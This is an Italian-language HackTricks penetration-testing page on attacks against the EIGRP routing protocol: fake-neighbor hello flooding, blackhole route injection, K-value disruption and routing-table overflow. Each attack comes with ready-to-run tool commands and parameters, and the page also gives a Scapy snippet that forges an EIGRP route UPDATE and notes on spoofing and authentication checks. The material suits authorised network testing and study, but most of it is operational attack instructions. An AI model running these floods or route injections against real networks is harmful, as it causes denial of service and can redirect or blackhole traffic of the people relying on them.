Attacchi EIGRP

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa è una sintesi degli attacchi esposti in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Consulta il link per ulteriori informazioni.

Fake EIGRP Neighbors Attack

  • Obiettivo: Sovraccaricare le CPU dei router inondandole di pacchetti HELLO EIGRP, potenzialmente causando un attacco Denial of Service (DoS).
  • Strumento: helloflooding.py script.
  • Esecuzione:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parametri:
  • --interface: Specifica l’interfaccia di rete, es. eth0.
  • --as: Definisce il numero dell’Autonomous System (AS) EIGRP, es. 1.
  • --subnet: Imposta la subnet, es. 10.10.100.0/24.

EIGRP Blackhole Attack

  • Obiettivo: Interrompere il flusso del traffico di rete iniettando una route falsa, creando un blackhole dove il traffico viene diretto verso una destinazione inesistente.
  • Strumento: routeinject.py script.
  • Esecuzione:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parametri:
  • --interface: Specifica l’interfaccia del sistema dell’attaccante.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP dell’attaccante.
  • --dst: Imposta l’IP della subnet di destinazione.
  • --prefix: Definisce la maschera della subnet di destinazione.

Abusing K-Values Attack

  • Obiettivo: Creare interruzioni continue e riconnessioni all’interno del dominio EIGRP iniettando K-values alterati, risultando effettivamente in un attacco DoS.
  • Strumento: relationshipnightmare.py script.
  • Esecuzione:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parametri:
  • --interface: Specifica l’interfaccia di rete.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP di un router legittimo.

Routing Table Overflow Attack

  • Obiettivo: Stressare la CPU e la RAM del router inondando la tabella di routing con numerose route false.
  • Strumento: routingtableoverflow.py script.
  • Esecuzione:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parametri:
  • --interface: Specifica l’interfaccia di rete.
  • --as: Definisce il numero AS EIGRP.
  • --src: Imposta l’indirizzo IP dell’attaccante.

Note sul protocollo utili per gli attacchi

  • I pacchetti HELLO trasportano i K-values e i neighbor si formano solo quando corrispondono. Questa è la base per gli attacchi di mismatch dei K-values/disruption delle relationship e spiega perché K-values non corrispondenti impediscono l’adjacency.
  • Il PARAMETER TLV (Type 0x0001) nei pacchetti HELLO (e nell’UPDATE iniziale) trasporta i K-values e il Hold Time, quindi le catture passive rivelano i valori esatti usati sul segmento.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy include un contrib layer per EIGRP con TLV come EIGRPParam ed EIGRPIntRoute, sufficiente per costruire UPDATE per il route injection. Esempio adattato dallo script davidbombal/scapy EIGRP route injection:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

Lo stesso repo include script rapidi “fake neighbor” che sniffano un pacchetto EIGRP reale e lo replayano con un IP sorgente spoofato per creare phantom neighbors (utile per CPU/neighbor-table pressure).

  • Scapy EIGRP contrib docs: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Example scripts: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy costruisce un laboratorio di attacco con router virtuali (FRRouting + Scapy) e include attacchi DRP che puoi adattare per testare EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • L’NSE di Nmap dispone di una piccola libreria eigrp per il parsing/generazione di un sottoinsieme di pacchetti EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Ricognizione dell’autenticazione

  • EIGRP named mode supporta HMAC-SHA-256 authentication tramite authentication mode hmac-sha-256 .... Se abilitata, i pacchetti generati devono essere autenticati con la chiave corretta; se non abilitata, spoofing/injection è più facile da eseguire/validare.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks